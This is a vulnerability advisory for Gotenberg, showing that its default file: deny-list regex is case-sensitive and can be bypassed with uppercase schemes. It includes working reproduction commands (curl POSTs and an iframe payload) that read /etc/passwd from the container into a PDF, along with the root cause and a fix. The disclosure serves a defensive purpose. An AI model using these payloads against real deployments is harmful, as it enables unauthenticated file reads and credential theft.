CVE-2026-27018 — Vulnerability in...

### Impact The fix introduced in version 8.1.0 for GHSA-rh2x-ccvw-q7r3 (CVE-2024-21527) can be bypassed using mixed-case or uppercase URL schemes. The default `--chromium-deny-list` value is `^file:(?!//\/tmp/).*`. This regex is anchored to lowercase `file:` at the start. However, per RFC 3986 Section 3.1, URI schemes are case-insensitive. Chromium normalizes the scheme to lowercase before navigation, so a URL like `FILE:///etc/passwd` or `File:///etc/passwd` bypasses the deny-list check but still gets resolved by Chromium as `file:///etc/passwd`. The root cause is in `pkg/gotenberg/filter.go` — the `FilterDeadline` function compiles the deny-list regex with `regexp2.MustCompile(denied.String(), 0)`, where `0` means no flags (case-sensitive). Since the regex pattern itself doesn't include a `(?i)` flag, matching is strictly case-sensitive. This affects both the URL endpoint and HTML conversion (via iframes, link tags, etc.). ### Steps to Reproduce 1. Start Gotenberg with default settings: ```bash docker run --rm -p 3000:3000 gotenberg/gotenberg:8.26.0 gotenberg ``` 2. Read `/etc/passwd` via the URL endpoint using an uppercase scheme: ```bash curl -X POST 'http://localhost:3000/forms/chromium/convert/url' \ --form 'url=FILE:///etc/passwd' -o output.pdf ``` 3. Open `output.pdf` — it contains the contents of `/etc/passwd`. 4. Alternatively, create an `index.html`: ```html <iframe src="FILE:///etc/passwd" width="100%" height="100%"></iframe> ``` Then convert it: ```bash curl -X POST 'http://localhost:3000/forms/chromium/convert/html' \ -F 'files=@index.html' -o output.pdf ``` 5. The resulting PDF contains `/etc/passwd` contents. Mixed-case variants like `File:`, `fILE:`, `fiLE:` etc. all work as well. ### Root Cause - `pkg/modules/chromium/chromium.go` defines the default deny-list as `^file:(?!//\/tmp/).*` - `pkg/gotenberg/filter.go` compiles this with `regexp2.MustCompile(denied.String(), 0)` — flag `0` means case-sensitive - `pkg/modules/chromium/events.go` uses `FilterDeadline` to check intercepted request URLs against the deny-list - Chromium normalizes URL schemes to lowercase, so `FILE:///etc/passwd` becomes `file:///etc/passwd` after the deny-list check has already passed ### Suggested Fix Change the default deny-list regex to use a case-insensitive flag: ``` (?i)^file:(?!//\/tmp/).* ``` Or apply case-insensitive matching in `FilterDeadline` when compiling the regex. ### Severity This is effectively the same impact as CVE-2024-21527 — unauthenticated arbitrary file read from the Gotenberg container. An attacker can leak environment variables, configuration, credentials, and other sensitive data.
